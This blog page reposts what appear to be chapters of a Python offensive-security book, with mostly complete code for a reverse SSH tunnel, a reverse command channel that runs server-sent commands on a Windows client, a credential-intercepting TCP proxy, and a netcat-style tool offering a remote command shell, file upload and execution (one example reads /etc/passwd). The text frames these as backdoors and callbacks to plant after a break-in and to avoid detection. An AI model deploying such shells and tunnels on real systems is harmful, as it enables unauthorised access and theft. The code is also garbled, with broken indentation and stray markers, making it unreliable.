• Skip to primary navigation
  • Skip to main content
  • Skip to footer

The Dark Tech

The Dark Tech

  • Home
  • Blogs
  • HTB
  • My account
  • Terms and Conditions
  • Privacy Policy
  • Home
  • Blogs
  • HTB
  • My account
  • Terms and Conditions
  • Privacy Policy

Python For Hacking

SSH Tunneling Using Python

February 1, 2022 by BlackHammer 1 Comment

What Is SSH Tunneling

SSH tunneling is a method of transporting arbitrary networking data over an encrypted SSH connection. … It also provides a way to secure the data traffic of any given application using port forwarding, basically tunneling any TCP/IP port over SSH.

SSH Tunneling

SSH tunneling is amazing but can be confusing to understand and configure, especially when dealing with a reverse SSH tunnel. Recall that our goal in all of this is to run commands that we type in an SSH client on a remote SSH server. When using an SSH tunnel, instead of typed commands being sent to the server, network traffic is sent packaged inside of SSH and then unpackaged and delivered by the SSH server.


Imagine that you’re in the following situation: You have remote access
to an SSH server on an internal network, but you want access to the web
server on the same network. You can’t access the web server directly, but
the server with SSH installed does have access and the SSH server doesn’t
have the tools you want to use installed on it.


One way to overcome this problem is to set up a forward SSH tunnel. Without getting into too much detail, running the command ssh -L
8008:web:80 [email protected] will connect to the ssh server as the user thedarktech and set up port 8008 on your local system. Anything sent to port 8008 will be sent down the existing SSH tunnel to the SSH server and delivered to the web server

Simplified view of running the command: ssh -L 8008:web:80 [email protected]

That’s pretty cool, but recall that not many Windows systems are
running an SSH server service. Not all is lost, though. We can configure
a reverse SSH tunnelling connection. In this case, we connect to our
own SSH server from the Windows client in the usual fashion. Through
that SSH connection, we also specify a remote port on the SSH server that
will be tunnelled to the local host and port.

local host and port can be used, for example, to expose port 3389 to access an internal system using remote desktop, or to another system that the Windows client can access (like the web server in our example).

The Paramiko demo files include a file called rforward.py that does exactly this. It works perfectly as is so I won’t just reprint that file, but I will point out a couple of important points and run through an example of how to use it. Open rforward.py, skip down to main(), and follow along.

def main():
 options, server, remote = parse_options() 
 password = None
 if options.readpass:
 password = getpass.getpass('Enter SSH password: ')
 client = paramiko.SSHClient()
 client.load_system_host_keys()
 client.set_missing_host_key_policy(paramiko.WarningPolicy()) 
 verbose('Connecting to ssh host %s:%d ...' % (server[0], server[1]))
 try:
 client.connect(server[0], server[1], username=options.user, key_filename=options.keyfile, look_for_keys=options.look_for_keys, password=password)
 except Exception as e:
 print('*** Failed to connect to %s:%d: %r' % (server[0], server[1], e))
 sys.exit(1)
 verbose('Now forwarding remote port %d to %s:%d ...' % (options.port, remote[0], remote[1]))

The few lines at the top double-check to make sure all the necessary
arguments are passed to the script before setting up the Parmakio SSH cli-
ent connection (which should look very familiar).

try:
 reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport()) 
 except KeyboardInterrupt:
 print('C-c: Port forwarding stopped.')
 sys.exit(0)

The final section in main() calls the reverse_forward_tunnel function.

Let’s have a look at that function.

def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
 transport.request_port_forward('', server_port)
while True:
 chan = transport.accept(1000)
 if chan is None:
 continue

In Paramiko, there are two main communication methods: transport, which is responsible for making and maintaining the encrypted connection, and channel, which acts like a sock for sending and receiving data over the encrypted transport session. Here we start to use Paramiko’s request_port_forward to forward TCP connections from a port on the SSH server and start up a new transport channel.

thr = threading.Thread(target=handler, args=(chan, remote_host,remote_port)) 
 thr.setDaemon(True)
 thr.start()

Then, over the channel, we call the function handler.

But we’re not done yet.

def handler(chan, host, port):
 sock = socket.socket()
 try:
 sock.connect((host, port))
 except Exception as e:
 verbose('Forwarding request to %s:%d failed: %r' % (host, port, e))
 return
 
 verbose('Connected! Tunnel open %r -> %r -> %r' % (chan.origin_addr, chan.getpeername(), (host, port)))
 while True: 
 r, w, x = select.select([sock, chan], [], [])
 if sock in r:
 data = sock.recv(1024)
 if len(data) == 0:
 break
 chan.send(data)
 if chan in r:
 data = chan.recv(1024)
 if len(data) == 0:
 break
 sock.send(data)
 chan.close()
sock.close()
 verbose('Tunnel closed from %r' % (chan.origin_addr,))

And finally, the data is sent and received.
Let’s give it a try.

Let’s Check Our Code Then

We will run rforward.py from our Windows system and configure it to be the middle man as we tunnel traffic from a web server to our Kali SSH server.

C:\tmp\demos>rforward.py 192.168.100.133 -p 8080 -r 192.168.100.128:80 --user thedarktech --password
Enter SSH password:
Connecting to ssh host 192.168.100.133:22 ...
C:\Python27\lib\site-packages\paramiko\client.py:517: UserWarning: Unknown ssh-r
sa host key for 192.168.100.133: cb28bb4e3ec68e2af4847a427f08aa8b
 (key.get_name(), hostname, hexlify(key.get_fingerprint())))
Now forwarding remote port 8080 to 192.168.100.128:80 ...

You can see that on the Windows machine, I made a connection to the SSH server at 192.168.100.133 and opened port 8080 on that server, which will forward traffic to 192.168.100.128 port 80. So now if I browse to on my Linux server, I connect to the web server at 192.168.100.128 through the SSH tunnel, as shown in Figure

If you flip back to the Windows machine, you can also see the connec-
tion being made in Paramiko:

Connected! Tunnel open (u'127.0.0.1', 54537) -> ('192.168.100.133', 22) -> ('192.168.100.128', 80)

SSH and SSH tunnelling are important to understand and use. Knowing when and how to SSH and SSH tunnel is an important skill for black hats, and Paramiko makes it possible to add SSH capabilities to your existing Python tools.


We’ve created some very simple yet very useful tools in this chapter. I encourage you to expand and modify as necessary. The main goal is to develop a firm grasp of using Python networking to create tools that you can use during penetration tests, post-exploitation, or while bug-hunting. Let’s move on to using raw sockets and performing network sniffing, and then we’ll combine the two to create a pure Python host discovery scanner.

Also Check How To Make Your Own Encrypted SSH Tool With Python |For Hackers

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: Ethical Hacking, Hacking, learn hacking, Learn python, Python, Python for hacking

How To Make Your Own Encrypted SSH Tool With Python

February 1, 2022 by BlackHammer 1 Comment

What Is SSh

Secure Shell is a cryptographic network protocol for operating network services securely over an unsecured network. Typical applications include remote command-line, login, and remote command execution, but any network service can be secured with SSH

What Will We Get From This Program

This program creates an SSH server that our SSH client (where we want to run commands) connects to. This could be a Linux, Windows, or even OS X system that has Python and Paramiko installed.

Accessing SSH From Python

Pivoting with BHNET is pretty handy, but sometimes it’s wise to encrypt your traffic to avoid detection. A common means of doing so is to tunnel the traffic using Secure Shell (SSH). But what if your target doesn’t have an SSH client (like 99.81943 percent of Windows systems)?

While there are great SSH clients available for Windows, like Putty, this is a book about Python. In Python, you could use raw sockets and some crypto magic to create your own SSH client or server—but why create when you can reuse? Paramiko using PyCrypto gives you simple access to the SSH2 protocol.


To learn about how this library works, we’ll use Paramiko to make a connection and run a command on an SSH system, configure an SSH server and SSH client to run remote commands on a Windows machine, and finally puzzle out the reverse tunnel demo file included with Paramiko to duplicate the proxy option of BHNET. Let’s begin.


First, grab Paramiko using pip installer

pip install paramiko

We’ll use some of the demo files later, so make sure you download them from the Paramiko website as well.
Create a new file called bh_sshcmd.py and enter the following:

import threading
import paramiko
import subprocess
 def ssh_command(ip, user, passwd, command): 
 client = paramiko.SSHClient()

This is a fairly straightforward program. We create a function called ssh_command, which makes a connection to an SSH server and runs a single command.

#client.load_host_keys('/home/justin/.ssh/known_hosts')

Notice that Paramiko supports authentication with keys instead of (or in addition to) password authentication. Using SSH key authentication is strongly recommended on a real engagement, but for ease of use in this example, we’ll stick with the traditional username and password authentication.

client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
 client.connect(ip, username=user, password=passwd)
 ssh_session = client.get_transport().open_session()

Because we’re controlling both ends of this connection, we set the policy to accept the SSH key for the SSH server we’re connecting to and make the connection.

if ssh_session.active: 
 ssh_session.exec_command(command) 
 print ssh_session.recv(1024)
 return 
ssh_command('192.168.100.131', 'thedarktech','lovesthepython','id')

Finally, assuming the connection is made, we run the command that we passed along in the call to the ssh_command function in our example the command id.


Let’s run a quick test by connecting to our Linux server:

C:\tmp> python bh_sshcmd.py
Uid=1000(thedarktech) gid=1001(thedarktech) groups=1001(thedarktech)

You’ll see that it connects and then runs the command. You can easily modify this script to run multiple commands on an SSH server or run commands on multiple SSH servers.
So with the basics done, let’s modify our script to support running commands on our Windows client over SSH. Of course, normally when using SSH, you use an SSH client to connect to an SSH server, but because Windows doesn’t include an SSH server out-of-the-box, we need to reverse this and send commands from our SSH server to the SSH client.


Create a new file called bh_sshRcmd.py and enter the following

import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command): 
 client = paramiko.SSHClient()
 #client.load_host_keys('/home/justin/.ssh/known_hosts') 
 client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 client.connect(ip, username=user, password=passwd)
 ssh_session = client.get_transport().open_session()
 if ssh_session.active:
 ssh_session.send(command)
 print ssh_session.recv(1024)#read banner
 while True:
 command = ssh_session.recv(1024) #get the command from the SSH ¬ 
 server
 try:
 cmd_output = subprocess.check_output(command, shell=True)
 ssh_session.send(cmd_output)
 except Exception,e:
 ssh_session.send(str(e))
 client.close()
 return 
ssh_command('192.168.100.130', 'thedarktech', 'lovesthepython','ClientConnected')

The first few lines are like our last program and the new stuff starts in the while True: loop. Also notice that the first command we send is ClientConnected. You’ll see why when we create the other end of the SSH connection.


Now create a new file called bh_sshserver.py and enter the following:

import socket
import paramiko
import threading
import sys
# using the key from the Paramiko demo files 
 host_key = paramiko.RSAKey(filename='test_rsa.key')

This program creates an SSH server that our SSH client (where we want to run commands) connects to. This could be a Linux, Windows, or even OS X system that has Python and Paramiko installed.

For this example, we’re using the SSH key included in the Paramiko demo files.

class Server (paramiko.ServerInterface): 
 def _init_(self):
 self.event = threading.Event()
 def check_channel_request(self, kind, chanid):
 if kind == 'session':
 return paramiko.OPEN_SUCCEEDED
 return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
 def check_auth_password(self, username, password):
 if (username == 'thedarktech') and (password == 'lovesthepython'):
 return paramiko.AUTH_SUCCESSFUL
 return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
 try: 
 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 sock.bind((server, ssh_port))
 sock.listen(100)
 print '[+] Listening for connection ...'
 client, addr = sock.accept()
except Exception, e:
 print '[-] Listen failed: ' + str(e)
 sys.exit(1)
print '[+] Got a connection!'
 try: 
 bhSession = paramiko.Transport(client)
 bhSession.add_server_key(host_key)
 server = Server()
 try:
 bhSession.start_server(server=server)
 except paramiko.SSHException, x:
 print '[-] SSH negotiation failed.'
 chan = bhSession.accept(20)

We start a socket listener, just like we did earlier in the chapter, and then SSHinize it and configure the authentication methods.

print '[+] Authenticated!' 
 print chan.recv(1024)
 chan.send('Welcome to bh_ssh')
 while True: 
 try:
 command= raw_input("Enter command: ").strip('\n')
 if command != 'exit':
chan.send(command)
 print chan.recv(1024) + '\n'
 else:
 chan.send('exit')
 print 'exiting'
 bhSession.close()
 raise Exception ('exit')
 except KeyboardInterrupt:
 bhSession.close()
except Exception, e:
 print '[-] Caught exception: ' + str(e)
 try:
 bhSession.close()
 except:
 pass
 sys.exit(1)

When a client has authenticated and sent us the ClientConnected message, any command we type into the bh_sshserver is sent to the bh_sshclient anexecuted on the bh_sshclient, and the output is returned to bh_sshserver.

Now Let’s Test Our Code

For the demo, I’ll run both the server and the client on my Windows
machine

You can see that the process starts by setting up our SSH server and then connecting from our client. The client is successfully connected and we run a command. We don’t see anything in the SSH client, but the command we sent is executed on the client  and the output is sent to our SSH server.

Also Check How To Build A TCP Proxy With Python | For Hackers

Also Check Relpacing Most Favourite Tool Of Hackers Netcat With Python

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: Black hat python, Ethical Hacking, learn hacking, Learn python, Python, Secure shell, security

How To Build A TCP Proxy With Python

February 1, 2022 by BlackHammer 1 Comment

What Is A TCP Proxy

What is TCP Proxy

A TCP proxy is a server that acts as an intermediary between a client and the destination server. Clients establish connections to the TCP proxy server, which then establishes a connection to the destination server. TCP proxy supports Window Scale (WS) option that are carried by SYN and SYN ACK packets.

Building A TCP Proxy With Python

There are a number of reasons to have a TCP proxy in your tool belt, both
for forwarding traffic to bounce from host to host, but also when assessing
network-based software. When performing penetration tests in enterprise
environments, you’ll commonly be faced with the fact that you can’t run
Wireshark, that you can’t load drivers to sniff the loopback on Windows, or
that network segmentation prevents you from running your tools directly
against your target host. I have employed a simple Python proxy in a num-
ber of cases to help understand unknown protocols, modify traffic being
sent to an application, and create test cases for fuzzers. Let’s get to it.

import sys
import socket
import threading
def server_loop(local_host,local_port,remote_host,remote_port,receive_first):
 
 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 try:
 server.bind((local_host,local_port))
 except:
 print "[!!] Failed to listen on %s:%d" % (local_host,local_port)
 print "[!!] Check for other listening sockets or correct permissions."
 sys.exit(0)
 print "[*] Listening on %s:%d" % (local_host,local_port)
 server.listen(5) 
 
 while True:
 client_socket, addr = server.accept()
 
 # print out the local connection information
 print "[==>] Received incoming connection from %s:%d" % ¬ 
 (addr[0],addr[1])
 
 # start a thread to talk to the remote host
 proxy_thread = threading.Thread(target=proxy_handler, ¬
 args=(client_socket,remote_host,remote_port,receive_first))
 
 proxy_thread.start()
def main():
 
 # no fancy command-line parsing here
 if len(sys.argv[1:]) != 5:
 print "Usage: ./proxy.py [localhost] [localport] [remotehost] ¬ 
 [remoteport] [receive_first]"
 print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
 sys.exit(0)
 
 # setup local listening parameters
 local_host = sys.argv[1]
 local_port = int(sys.argv[2])
 
 # setup remote target
 remote_host = sys.argv[3]
 remote_port = int(sys.argv[4])
 
 # this tells our proxy to connect and receive data
 # before sending to the remote host
 receive_first = sys.argv[5]
 
 if "True" in receive_first:
 receive_first = True
 else:
 receive_first = False
 
 
 # now spin up our listening socket
 server_loop(local_host,local_port,remote_host,remote_port,receive_first)
 
main()

Most of this should look familiar: we take in some command-line arguments and then fire up a server loop that listens for connections. When a fresh connection request comes in, we hand it off to our proxy_handler, which does all of the sending and receiving of juicy bits to either side of the data stream.

Let’s dive into the proxy_handler function now by adding the following code above our main function.

def proxy_handler(client_socket, remote_host, remote_port, receive_first):
 
 # connect to the remote host
 remote_socket = socket.socket(socket.AF_INET,
 socket.SOCK_STREAM)
 remote_socket.connect((remote_host,remote_port))
 # receive data from the remote end if necessary
 if receive_first:

This function contains the bulk of the logic for our proxy. To start off, we check to make sure we don’t need to first initiate a connection to the remote side and request data before going into our main loop. Some server daemons will expect you to do this first (FTP servers typically send a banner first, for example).

remote_buffer = receive_from(remote_socket)

We then use our receive_from function, which we reuse for both sides of the communication; it simply takes in a connected socket object and performs a receive.

hexdump(remote_buffer)

We then dump the contents of the packet so that we can inspect it for anything interesting.

# send it to our response handler
 remote_buffer = response_handler(remote_buffer) 
 
 # if we have data to send to our local client, send it
 if len(remote_buffer):
 print "[<==] Sending %d bytes to localhost." % len(remote_buffer)
 client_socket.send(remote_buffer)
 # now lets loop and read from local, 
 # send to remote, send to local
 # rinse, wash, repeat
 while True:
 # read from local host
 local_buffer = receive_from(client_socket)
 if len(local_buffer):
 print "[==>] Received %d bytes from localhost." % len(local_buffer)
 hexdump(local_buffer)
 # send it to our request handler
 local_buffer = request_handler(local_buffer)
 # send off the data to the remote host
 remote_socket.send(local_buffer)
 print "[==>] Sent to remote."
# receive back the response
 remote_buffer = receive_from(remote_socket)
 if len(remote_buffer):
 print "[<==] Received %d bytes from remote." % len(remote_buffer)
 hexdump(remote_buffer)
 # send to our response handler
 remote_buffer = response_handler(remote_buffer)
 # send the response to the local socket
 client_socket.send(remote_buffer)
 print "[<==] Sent to localhost."

Next we hand the output to our response_handler function x. Inside this function, you can modify the packet contents, perform fuzzing tasks, test for authentication issues, or whatever else your heart desires. There is a complimentary request_handler function that does the same for modifying outbound traffic as well.

# if no more data on either side, close the connections
 if not len(local_buffer) or not len(remote_buffer): 
 client_socket.close()
 remote_socket.close()
 print "[*] No more data. Closing connections."
 break

The final step is to send the received buffer to our local client. The rest of the proxy code is straightforward: we continually read from local, process, send to remote, read from remote, process, and send to local until there is no more data detected.

Let’s put together the rest of our functions to complete our proxy.

# this is a pretty hex dumping function directly taken from
# the comments here:
# http://code.activestate.com/recipes/142812-hex-dumper/
 def hexdump(src, length=16): 
 result = []
 digits = 4 if isinstance(src, unicode) else 2
for i in xrange(0, len(src), length):
 s = src[i:i+length]
 hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])
 text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
 result.append( b"%04X %-*s %s" % (i, length*(digits + 1), hexa,text) )
 print b'\n'.join(result)

This is the final chunk of code to complete our proxy. First we create our hex dumping function u that will simply output the packet details with both their hexadecimal values and ASCII-printable characters. This is useful for understanding unknown protocols, finding user credentials in plaintext protocols, and much more.

def receive_from(connection): 
 
 buffer = ""
 # We set a 2 second timeout; depending on your 
 # target, this may need to be adjusted
 connection.settimeout(2)
 try:
 # keep reading into the buffer until 
 # there's no more data
 # or we time out
 while True:
 data = connection.recv(4096)
 
 if not data:
 break
 
 buffer += data
 except:
 pass
 
 return buffer

The receive_from function is used both for receiving local and remote data, and we simply pass in the socket object to be used. By default, there is a two-second timeout set, which might be aggressive if you are proxying traffic to other countries or over lossy net- (increase the timeout as necessary). The rest of the function simply handles receiving data until more data is detected on the other end of the connection.

# modify any requests destined for the remote host
 def request_handler(buffer): 
 # perform packet modifications
 return buffer


 # modify any responses destined for the local host
def response_handler(buffer):
 # perform packet modifications
 return buffer

Our last two functions enable you to modify any traffic that is destined for either end of the proxy. This can be useful, for example, if plaintext user credentials are being sent and you want to try to elevate privileges on an application by passing in admin instead of justin. Now that we have our proxy set up, let’s take it for a spin.

TCP proxy in python. Python for hacking.

Now Let’s Check Our TCP Proxy

Now that we have our core proxy loop and the supporting functions in place, let’s test this out against an FTP server. Fire up the proxy with the following options:

thedarktech$ sudo ./proxy.py 127.0.0.1 21 ftp.target.ca 21 True

We used sudo here because port 21 is a privileged port and requires administrative or root privileges in order to listen on it. Now take your favorite FTP client and set it to use localhost and port 21 as its remote host and port. Of course, you’ll want to point your proxy to an FTP server that will actually respond to you. When I ran this against a test FTP server, I got the following result:

[*] Listening on 127.0.0.1:21
[==>] Received incoming connection from 127.0.0.1:59218
0000 32 32 30 20 50 72 6F 46 54 50 44 20 31 2E 33 2E 220 ProFTPD 1.3.
0010 33 61 20 53 65 72 76 65 72 20 28 44 65 62 69 61 3a Server (Debia
0020 6E 29 20 5B 3A 3A 66 66 66 66 3A 35 30 2E 35 37 n) [::ffff:22.22
0030 2E 31 36 38 2E 39 33 5D 0D 0A .22.22]..
[<==] Sending 58 bytes to localhost.
[==>] Received 12 bytes from localhost.
0000 55 53 45 52 20 74 65 73 74 79 0D 0A USER testy..
[==>] Sent to remote.
[<==] Received 33 bytes from remote.
0000 33 33 31 20 50 61 73 73 77 6F 72 64 20 72 65 71 331 Password req
0010 75 69 72 65 64 20 66 6F 72 20 74 65 73 74 79 0D uired for testy.
0020 0A .
[<==] Sent to localhost.
[==>] Received 13 bytes from localhost.
0000 50 41 53 53 20 74 65 73 74 65 72 0D 0A PASS tester..
[==>] Sent to remote.
[*] No more data. Closing connections.

You can clearly see that we are able to successfully receive the FTP banner and send in a username and password, and that it cleanly exits when the server punts us because of incorrect credentials.

Also Check Relpacing Most Favourite Tool Of Hackers Netcat With Python

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: Black hat python, Ethical Hacking, learn hacking, Learn python, Python, Python for hacking, TCP server

Relpacing Most Favourite Tool Of Hackers Netcat With Python

February 1, 2022 by BlackHammer 1 Comment

Introduction To Netcat

Netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. The command is designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts.

Replacing Netcat With Python

Netcat is the utility knife of networking, so it’s no surprise that shrewd
systems administrators remove it from their systems. On more than one
occasion, I’ve run into servers that do not have netcat installed but do
have Python. In these cases, it’s useful to create a simple network client
and server that you can use to push files, or to have a listener that gives you
command-line access. If you’ve broken in through a web application, it is
definitely worth dropping a Python callback to give you secondary access
without having to first burn one of your trojans or backdoors. Creating a
tool like this is also a great Python exercise, so let’s get started.

Code For Netcat In Python

import sys
import socket
import getopt
import threading
import subprocess
# define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

Here, we are just importing all of our necessary libraries and setting
some global variables. No heavy lifting quite yet.

Now let’s create our main function responsible for handling command-
line arguments and calling the rest of our functions.

def usage(): 
 print "BHP Net Tool"
 print
 print "Usage: bhpnet.py -t target_host -p port"
 print "-l --listen - listen on [host]:[port] for ¬
 incoming connections"
 print "-e --execute=file_to_run - execute the given file
 receiving a connection"
 print "-c --command - initialize a command shell"
 print "-u --upload=destination - upon receiving connection upload 
 file and write to [destination]"
 print
 print
 print "Examples: "
 print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
 print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
 print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
 print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
 sys.exit(0)
def main():
 global listen
 global port
 global execute
 global command
 global upload_destination
 global target
 
 if not len(sys.argv[1:]):
 usage()
 
 # read the commandline options

Here we begin by reading in all of the command-line and setting
the necessary variables depending on the options we detect.

try: 
 opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
 except getopt.GetoptError as err:
 print str(err)
 usage()
 
 
 for o,a in opts:
 if o in ("-h","--help"):
 usage()
 elif o in ("-l","--listen"):
 listen = True
 elif o in ("-e", "--execute"):
 execute = a
 elif o in ("-c", "--commandshell"):
 command = True
 elif o in ("-u", "--upload"):
 upload_destination = a
elif o in ("-t", "--target"):
 target = a
 elif o in ("-p", "--port"):
 port = int(a)
 else:
 assert False,"Unhandled Option"

If any of the command-line parameters don’t match our criteria, we print out useful usage information with the help of this block.

# are we going to listen or just send data from stdin?
w if not listen and len(target) and port > 0: 
 
 # read in the buffer from the commandline
 # this will block, so send CTRL-D if not sending input
 # to stdin
 buffer = sys.stdin.read()
 
 # send data off
 client_sender(buffer) 
 
 # we are going to listen and potentially 
 # upload things, execute commands, and drop a shell back
 # depending on our command line options above

Here we are trying to mimic Netcat to read data from stdin and send it across the network. As noted, if you plan on sending data interactively, you need to send a ctrl-D to bypass the stdin read.

   if listen:
   server_loop() 
main()

The final piece is where we detect that we are to set up a listening socket and process further commands (upload a file, execute a command, start a command shell).

Now let’s start putting in the plumbing for some of these features, start-
ing with our client code. Add the following code above our main function.

def client_sender(buffer):
 
  client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
  try:
     # connect to our target host
     client.connect((target,port))
     if len(buffer): 
     client.send(buffer)
 
    while True:
 
         # now wait for data back
         recv_len = 1
         response = ""

Most of this code should look familiar to you by now. We start by set-
ting up our TCP socket object and then test u to see if we have received
any input from stdin.

while recv_len: 
 
 data = client.recv(4096)
 recv_len = len(data)
 response+= data
 
 if recv_len < 4096:
 break
 
 print response,

If all is well, we ship the data off to the remote target and receive back data until there is no more data to receive.

# wait for more input
w buffer = raw_input("") 
 buffer += "\n"
 
 # send it off
 client.send(buffer)
 
 
 except:
 
 print "[*] Exception! Exiting."
 
 # tear down the connection 
 client.close()

We then wait for further input from the user and continue sending and receiving data until the user kills the script. The extra line break is attached specifically to our user input so that our client will be compatible with our command shell. Now we’ll move on and create our primary server loop and a stub function that will handle both our command execution and our full command shell.

def server_loop():
 global target
 
 # if no target is defined, we listen on all interfaces
 if not len(target):
 target = "0.0.0.0"
 
 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 server.bind((target,port))
server.listen(5) 
 
 while True:
 client_socket, addr = server.accept()
 
 # spin off a thread to handle our new client
 client_thread = threading.Thread(target=client_handler,
 args=(client_socket,))
 client_thread.start()
def run_command(command):
 
 # trim the newline
 command = command.rstrip()

By now, you’re an old hand at creating TCP servers complete with threading, so I won’t dive in to the server_loop function. The run_command
function, however, contains a new library we haven’t covered yet: the
subprocess library. subprocess provides a powerful process-creation interface that gives you a number of ways to start and interact with client programs.

# run the command and get the output back
 try:
 output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True) 
 except:
 output = "Failed to execute command.\r\n"
 
 # send the output back to the client
 return output

In this case, we’re simply running whatever command we pass in, run-
ning it on the local operating system, and returning the output from
the command back to the client that is connected to us. The exception-
handling code will catch generic errors and return back a message letting
you know that the command failed.


Now let’s implement the logic to do file uploads, command execution,
and our shell.

def client_handler(client_socket):
 global upload
 global execute
 global command
 
 # check for upload
 if len(upload_destination): 
 
 # read in all of the bytes and write to our destination
 file_buffer = ""
 
 # keep reading data until none is available

Our first chunk of code is responsible for determining whether our
network tool is set to receive a file when it receives a connection. This can be useful for upload-and-execute exercises or for installing malware and having the malware remove our Python callback.

while True: 
 data = client_socket.recv(1024)
 
 if not data:
 break
 else:
 file_buffer += data

First we receive the file data in a loop v to make sure we receive it all, and then we simply open a file handle and write out the contents of the file. The wb flag ensures that we are writing the file with binary mode enabled, which ensures that uploading and writing a binary executable will be successful.

# now we take these bytes and try to write them out
try: 
 file_descriptor = open(upload_destination,"wb") 
 file_descriptor.write(file_buffer)
 file_descriptor.close()
 
 # acknowledge that we wrote the file out
 client_socket.send("Successfully saved file to %s\r\n" %upload_destination)
 except:
 client_socket.send("Failed to save file to %s\r\n" %upload_destination)
 
 
 
 # check for command execution
 if len(execute): 
 
 # run the command
 output = run_command(execute)
 
 client_socket.send(output)

Next we process our execute functionality w, which calls our previously written run_command function and simply sends the result back across the network.

# now we go into another loop if a command shell was requested
if command: 
 
 while True:
 # show a simple prompt
 client_socket.send("<BHP:#> ")
 
 # now we receive until we see a linefeed ¬ 
 (enter key)
 cmd_buffer = ""
 while "\n" not in cmd_buffer:
 cmd_buffer += client_socket.recv(1024)
 
 
 # send back the command output
 response = run_command(cmd_buffer)
 
 # send back the response
 client_socket.send(response)

Our last bit of code handles our command shell x; it continues to execute commands as we send them in and sends back the output. You’ll notice that it is scanning for a newline character to determine when to process a command, which makes it netcat-friendly. However, if you are conjuring up a Python client to speak to it, remember to add the newline character.

Now It’s Time To Check Our Code

Now let’s play around with it a bit to see some output. In one terminal or
cmd.exe shell, run our script like so:

thedarktech$ ./bhnet.py -l -p 9999 -c

Now you can fire up another terminal or cmd.exe, and run our script in
client mode. Remember that our script is reading from stdin and will do so
until the EOF (end-of-file) marker is received. To send EOF, hit ctrl-D on
your keyboard:

thedarktech$ ./bhnet.py -t localhost -p 9999
<CTRL-D>
<BHP:#> ls -la
total 32
drwxr-xr-x 4 justin staff 136 18 Dec 19:45 .
drwxr-xr-x 4 justin staff 136 9 Dec 18:09 ..
-rwxrwxrwt 1 justin staff 8498 19 Dec 06:38 bhnet.py
-rw-r--r-- 1 justin staff 844 10 Dec 09:34 listing-1-3.py
<BHP:#> pwd
/Users/thedarktech/svn/BHP/code/Chapter2
<BHP:#>

You can see that we receive back our custom command shell, and
because we’re on a Unix host, we can run some local commands and
receive back some output as if we had logged in via SSH or were on the
box locally. We can also use our client to send out requests the good, old-
fashioned way:

thedarktech$ echo -ne "GET / HTTP/1.1\r\nHost: www.google.com\r\n\r\n" | ./bhnet.py -t www.google.com -p 80
HTTP/1.1 302 Found
Location: http://www.google.ca/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Date: Wed, 19 Dec 2012 13:22:55 GMT
Server: gws
Content-Length: 218
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.google.ca/">here</A>.
</BODY></HTML>
[*] Exception! Exiting.
thedarktech$

There you go! It’s not a super technical technique, but it’s a good foun- dation on how to hack together some client and server sockets in Python and use them for evil. Of course, it’s the fundamentals that you need most: use your imagination to expand or improve it.

Also Check How To Create TCP Server For Hacking With Python

Also Check Creating A TCP Client for Hacking Using Python | For Hackers

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: Black hat python, Hacking, Hacking tools, Netcat, Python

How To Create TCP Server For Hacking With Python

February 1, 2022 by BlackHammer 2 Comments

Need Of Creating A TCP Server For Hacking

TCP/IP is currently the most common standard for communicating devices within computer networks. The TCP/IP stack is divided into several layers, each of which is important for particular aspects of communication. It is possible to develop each of these layers without affecting adjacent ones.

How To Create A TCP Server With Python

Creating TCP servers in Python is just as easy as creating a client. You might
want to use your own TCP server when writing command shells or craft-
ing a proxy (both of which we’ll do later). Let’s start by creating a standard
multi-threaded TCP server. Crank out the code below:

import socket
import threading
bind_ip = "0.0.0.0"
bind_port = 9999
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 server.bind((bind_ip,bind_port))

To start off, we pass in the IP address and port we want the server to
listen on.

server.listen(5) 
print "[*] Listening on %s:%d" % (bind_ip,bind_port)

Next we tell the server to start listening with a maximum
backlog of connections set to 5. We then put the server into its main loop,
where it is waiting for an incoming connection.

# this is our client-handling thread
w def handle_client(client_socket): 
 # print out what the client sends
 request = client_socket.recv(1024)
 print "[*] Received: %s" % request
 # send back a packet
 client_socket.send("ACK!")
 client_socket.close()

The handle_client w function performs the recv() and then sends a simple
message back to the client.

while True:
 client,addr = server.accept() 
 print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1])
 # spin up our client thread to handle incoming data
 client_handler = threading.Thread(target=handle_client,args=(client,))
 client_handler.start()

